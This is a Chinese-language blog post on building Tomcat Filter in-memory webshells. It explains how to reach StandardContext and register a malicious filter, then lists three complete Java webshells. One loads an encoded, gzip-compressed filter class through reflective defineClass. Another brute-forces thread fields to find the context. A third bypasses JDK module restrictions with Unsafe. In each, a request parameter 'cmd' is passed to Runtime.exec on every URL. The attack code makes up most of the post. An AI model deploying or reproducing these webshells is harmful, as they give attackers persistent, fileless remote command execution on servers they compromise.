前言
内存马这块一直都是用的现成的payload,最近大致看了下,具体实现其实就还是照着原来tomcat或spring其添加filter、servlet、controller等流程来的,用自己的代码实现一遍这种流程就可以添加自定义的路由了。综合几种下来感觉还是tomcat的filter内存马利用面更广也更容易一些(tomcat和spring一般都是先经过过滤器的),就此来简单记录下filter内存马吧,其他类型的内存马也是大同小异。
tomcat的Filter工作流程
先简单分析下吧
springboot内嵌tomcat,为了调试方便就用springboot来分析tomcat过滤器的注入流程吧
首先要知道的是tomcat的Filter、Servlet等相关内存马都是基于StandarContext
来创建的
Tomcat 设计了 4 种容器,分别是 Engine、Host、Context 和 Wrapper。这 4 种容器不是相互独立的关系,而是父子关系,逐层包含。如下图所示:
Tomcat通过这样的分层的架构设计,使得Servlet容器具有良好的灵活性。一个Service最多只能有一个Engine,Engine表示引擎,用来管理多个虚拟主机的。Host代表就是一个虚拟主机,可以给Tomcat配置多个虚拟主机,一个虚拟主机下面可以部署多个Web应用。一个Context就表示一个Web应用,Web应用中会有多个Servlet,Wrapper就表示一个Servlet。
所以只要获取到了StandardContext
我们就可以随意操作其下的filter和servlet了
创建filter的关键步骤如下
在StandardContext中添加filterDef
String filterName = "MemFilter";
//创建FilterDef
FilterDef filterDef = new FilterDef();
Filter evilFilter = new EvilFilter();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//在standardContext中添加filterDef
standardContext.addFilterDef(filterDef);
在StandardContext中添加filterMap
//在standardContext中添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
在StandardContext中添加filterConfig
在上述 filterDef
和 filterMap
添加完成后会调用 org.apache.catalina.core.StandardContext#filterStart
方法添加 filterConfigs
,这个 filterConfigs
是后续访问对应filter的关键
//在standardContext中添加filterConfig
Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsF.setAccessible(true);
Map filterConfigs = (Map) filterConfigsF.get(standardContext);
Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
cons.setAccessible(true);
Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
(org.apache.catalina.core.ApplicationFilterConfig
构造方法为非 Public
修饰,需要使用反射)
至此,tomcat初始化Filter的流程算是结束了
访问Filter
之后我们访问下对应的filter
在 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
中会创建一个包含所有相匹配filter的 filterChain
其中的 filterConfig
就是我们上面向 StandardContext
中所添加的 filterConfig
之后会进入对应filterChain
的 doFilter
方法
之后在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
中会按顺序依次执行 filters
的 doFilter
方法
所以Filter
内存马的添加主要就是4个步骤
- 获取
StandardContext
- 在StandardContext中添加filterDef
- 在StandardContext中添加filterMap
- 在StandardContext中添加filterConfig
获取StandardContext
现在的问题就是如何获取 StandardContext
这个对象了
如果我们有 request
对象的话就比较好获取了
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
//从servletContext中获取context属性->applicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
// 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
那如果没有 request
对象呢?
早就有前辈总结过了 https://xz.aliyun.com/t/9914
这里我用了个比较取巧的办法,获取方法如下
static boolean isInjected = false;
public void inject(Object target, HashSet cache) throws Exception {
if (isInjected || target == null || cache.contains(target)) return;
String name = target.getClass().getName();
if(name.startsWith("java.") && !name.contains("java.lang.Thread")) return;
if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
injectFilter((StandardContext) target);
isInjected = true;
return;
}
cache.add(target);
Class clazz = target.getClass();
while (clazz != null) {
for(Field field: clazz.getDeclaredFields()) {
field.setAccessible(true);
Object fieldObj = field.get(target);
if (fieldObj == null) continue;
if (fieldObj.getClass().getName().startsWith("[L")) {
for (Object obj: (Object[]) fieldObj) {
inject(obj, cache);
}
} else {
inject(fieldObj, cache);
}
}
clazz = clazz.getSuperclass();
}
}
public void injectFilter(StandardContext ctx) {
System.out.println(ctx);
}
兼容性较好的内存马
- 这里参考JMG工具的内存马,兼容性比较好
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
//连接密码 ?cmd=calc
public class TomcatFilterMemShell {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "CmdFilterShell";
}
//恶意filter类的base64
public String getBase64String() {
return new String("H4sIAAAAAAAAAKVWa3MTZRR+Nrd3s9lCm14gtKWgUtJrFLBqCggWELTQ2iDYFsVtsm22JLshu+lFVLzffoH9Bf3ijMOMhqKjg86IM3xkhvGj/g4/gM9uSklqwA9+2PNeznuec85zzr67t+/98DOAA/hKwW68KONIGLtwVOAlgZEIAjgm47iCE3hZgYqTMk654ysCr8oYlXFaxhkZYwrG8ZorJhSkcFbgdQUtOCfjvDu+4YpJV0zJmI4giAsK3sRbrrgo8HYEGmYE0gIZAV1CoKDZtoTo6Ly2oCVymjmXSDlFw5wblhA6aJiGc1iCP95zjkdHrAwtto4apn6mlJ/Ri2e1mRx35Ix1wsg5elHCdNwDWkrYenEhpzuJVGWc0C+XdNsZfpTWLlimrW9WV1BHspphDrsRNKQcLX3ptFbwHHtZzArMCWQrHJIpAUNgnqQwVwnK8aW0XnAMggtcEsgxCzcnCV2bA133ZZmzxpznTGQYcNFaJkrKKhXTOk8w2eaRfKZyNpXVc7lBF0XFHnSTpnQ+o+JJPCVhTy141nEKiZMUtXRI6P6vcxViVORhMiTLHjS1PDO3VBRgqrgMku5fNDi1QbzGzWWU4LOzFANpmjO+QX2JSfgSpK6kYgGLKpawLPCOiit4V0KTB1ByjFwildZMUy+6yb1HkwtHVbyPqyo+wIcqPnIdszs/xicCn6r4DJ+r+MJloflhCBvss0IqevClhC219NVEPDYzr6eZREu9ykjoeFxnSeh8bGtJiD2ytxjzdL3+r2RiWIlTZqHkcFvX8tW7Yxv5SdhZ13vVAXVOd8a1IqvnJdMd/7fHnnpBVFd02XZ0RhBxoYpWQS867M6IY41ai0xFc7NsiddFkdOW6TBVvurt1Z6ZfzHlMmim9eGeqQf193QTJdMx8sRU6G9j0VrjYH2bHgJsLPZYPF6HymoLBp7WbXu4xtX6JtuDrmrY3vbAXW0ZaL49XlfhvrpqydaP6Tkjb3hc730019WNTkyR1ewz+pLjXXlkI2B6izCjOl+sgFUHNE6odUV1u1RtSwguuhOXtzpBMNbgbK7kvqFH/t/N2XOOn5RdfCQ8wUdyryF+awKc8W6i3MtVH3ycAZHe65B6o77v4b/GJatGuQV+SoUmYcoId3vQSwMaSr/wO9JA7V99NxFIBvpvIpgMxgK938F/AyEfkqFY6Ba+DQyJqFiDnJRj8i00x+QywlGljMgKQv4h0SpWsCv0E9RJf7QhNRmIbklNEiXq8zBSq+hcV251lY01ymR4DU2xcBnRMpqTyo9omYwp19EabStjWzISi5SxfQXeGFtFMLojqcaCN9DO914to2N9XkbnKhqTYhWRgb7+G+jyYxUNydCDxTXmuxO/4jdKFXdwl6PPY2cKbZQNCJEnFU2IIUpdCwlvpb4NSWzDIe5ewQ5eg+34Gh34Bp1Y8/B2E7ELv3O8zcLcIad3WZY/WJg/yXIfkS9CuU+AsEC/wIDAoEBC4GmBZwT2SXyA3ZMC+++5mv0CBwSe5Z/Dvvv0J+oagVZDgb8h+GUcCuM5OgkxmefxAkubxHCltAwZnLHGDzsh5DVJv2fiNpBrcHCjiWLeuToGCcpDHtrhfwDY1iAi6ggAAA==");
}
public TomcatFilterMemShell() {
try {
List<Object> contexts = this.getContext();
Iterator var2 = contexts.iterator();
while(var2.hasNext()) {
Object context = var2.next();
Object filter = this.getFilter(context);
this.addFilter(context, filter);
}
} catch (Exception var5) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
Object context = null;
try {
Thread[] var4 = threads;
int var5 = threads.length;
for(int var6 = 0; var6 < var5; ++var6) {
Thread thread = var4[var6];
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
Iterator var9 = childrenMap.keySet().iterator();
while(var9.hasNext()) {
Object key = var9.next();
HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
Iterator var12 = children.keySet().iterator();
while(var12.hasNext()) {
Object key1 = var12.next();
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
return contexts;
} catch (Exception var14) {
throw new RuntimeException(var14);
}
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(this.getClassName());
} catch (Exception var9) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable var8) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = this.getCatalinaLoader();
String filterClassName = this.getClassName();
String filterName = this.getFilterName(filterClassName);
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
return;
}
} catch (Exception var16) {
}
Object filterDef;
Object filterMap;
try {
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception var15) {
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception var14) {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
Constructor[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
} catch (Exception var12) {
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
}
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception var11) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map)getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception var13) {
var13.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads"));
ClassLoader catalinaLoader = null;
for(int i = 0; i < threads.length; ++i) {
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = threads[i].getContextClassLoader();
break;
}
}
return catalinaLoader;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str));
} catch (Exception var4) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str));
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while(clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException var4) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while(method == null && tempClass != null) {
try {
if (paramClazz == null) {
Method[] methods = tempClass.getDeclaredMethods();
for(int i = 0; i < methods.length; ++i) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException var11) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke((Object)null, param);
} catch (IllegalAccessException var9) {
throw new RuntimeException(var9.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10.getMessage());
}
}
}
}
static {
new TomcatFilterMemShell();
}
}
- 或者按我上面所用的暴力枚举的方法
比较暴力无脑,直接暴力遍历所有线程中的所有属性去寻找 StandardContext
,然后注入filter
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
public class InjectFilter implements Filter {
static boolean isInjected = false;
static {
try {
inject(Thread.currentThread(), new HashSet());
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static void inject(Object target, HashSet cache) throws Exception {
if (isInjected || target == null || cache.contains(target)) return;
String name = target.getClass().getName();
if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
injectFilter((StandardContext) target);
isInjected = true;
return;
}
cache.add(target);
Class clazz = target.getClass();
while (clazz != null) {
for(Field field: clazz.getDeclaredFields()) {
field.setAccessible(true);
Object fieldObj = field.get(target);
if (fieldObj == null) continue;
if (fieldObj.getClass().getName().startsWith("[L")) {
for (Object obj: (Object[]) fieldObj) {
inject(obj, cache);
}
} else {
inject(fieldObj, cache);
}
}
clazz = clazz.getSuperclass();
}
}
public static void injectFilter(StandardContext standardContext) throws Exception {
String filterName = "MemFilter";
//创建FilterDef
FilterDef filterDef = new FilterDef();
Filter evilFilter = new InjectFilter();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//在standardContext中添加filterDef
standardContext.addFilterDef(filterDef);
//在standardContext中添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
//在standardContext中添加filterConfig
Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsF.setAccessible(true);
Map filterConfigs = (Map) filterConfigsF.get(standardContext);
Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
cons.setAccessible(true);
Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null) {
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] buf = new byte[1024];
int num;
OutputStream os = response.getOutputStream();
while ((num = is.read(buf)) != -1) {
os.write(buf, 0, num);
}
os.close();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
}
应对高版本jdk附带bypass module功能的
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.Unsafe;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.Objects;
public class Evil implements Filter {
static boolean isInjected = false;
static {
try {
bypassModule();
} catch (Exception ignored) {}
try {
inject(Thread.currentThread(), new HashSet());
} catch (Exception e) { throw new RuntimeException(e); }
}
public static void inject(Object target, HashSet cache) throws Exception {
if (isInjected || target == null || cache.contains(target)) return;
String name = target.getClass().getName();
if(name.startsWith("java.") && !name.contains("java.lang.Thread")) return;
if(name.contains("StandardContext") || name.contains("TomcatEmbeddedContext")) {
injectFilter((StandardContext) target);
isInjected = true;
return;
}
cache.add(target);
Class clazz = target.getClass();
while (clazz != null) {
for(Field field: clazz.getDeclaredFields()) {
field.setAccessible(true);
Object fieldObj = field.get(target);
if (fieldObj == null) continue;
if (fieldObj.getClass().getName().startsWith("[L")) {
for (Object obj: (Object[]) fieldObj) {
inject(obj, cache);
}
} else {
inject(fieldObj, cache);
}
}
clazz = clazz.getSuperclass();
}
}
public static void injectFilter(StandardContext standardContext) throws Exception {
String filterName = "Evil";
//创建FilterDef
FilterDef filterDef = new FilterDef();
Filter evilFilter = new Evil();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//在standardContext中添加filterDef
standardContext.addFilterDef(filterDef);
//在standardContext中添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
//在standardContext中添加filterConfig
Field filterConfigsF = org.apache.catalina.core.StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsF.setAccessible(true);
Map filterConfigs = (Map) filterConfigsF.get(standardContext);
Constructor cons = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
cons.setAccessible(true);
Object applicationFilterConfig = cons.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
}
public static void bypassModule() throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
// Module baseModule = Object.class.getModule();
Object baseModule = Class.class.getMethod("getModule").invoke(Objects.class);
Class currentClass = Evil.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null) {
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] buf = new byte[1024];
int num;
OutputStream os = response.getOutputStream();
while ((num = is.read(buf)) != -1) {
os.write(buf, 0, num);
}
os.close();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
}
一些不错的内存马相关文章
Java内存马:一种Tomcat全版本获取StandardContext的新方法
https://mp.weixin.qq.com/s/hdqwsYtBN_IpaH2DGZLPoA
https://mp.weixin.qq.com/s/DVG_xiviGp0s_MrP5T_ssg
https://www.maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li